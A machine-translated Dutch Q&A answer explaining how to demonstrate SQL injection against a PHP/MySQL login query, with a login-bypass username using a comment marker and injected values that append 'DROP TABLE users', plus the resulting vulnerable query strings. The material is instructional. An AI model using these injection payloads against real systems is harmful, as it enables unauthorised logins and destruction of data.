sql >> Database >  >> RDS >> Mysql

Hoe SQL-injectie demonstreren in deze PHP- en MySQL-code?

Iets als dit zou moeten doen:

  1. Om in te loggen als gebruiker "foo", stelt u de gebruikersnaam in op "foo" -- "

Hierdoor ziet uw zoekopdracht eruit als

$res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");

De "-- " betekent dat de rest van de regel is uitgecommentarieerd

  1. Weet niet zeker of dit zal werken, maar probeer de gebruikersnaam in te stellen op "foo' OR (DROP TABLE-gebruikers) -- "

Hierdoor ziet uw zoekopdracht er als volgt uit:

$res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");

kan dat echter niet accepteren - ik denk dat subquery's alleen kunnen SELECTEREN.

De functie mysql_query zal slechts één query uitvoeren - anderen zouden u dit laten doen:

$res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''"); 


  1. Objectreferentie, c#

  2. python 5x langzamer dan perl mySql-query

  3. Kan ik sql-commando's droog uitvoeren/sandboxen?

  4. org.postgresql.util.PSQLException:Grote objecten mogen niet worden gebruikt in de modus voor automatisch vastleggen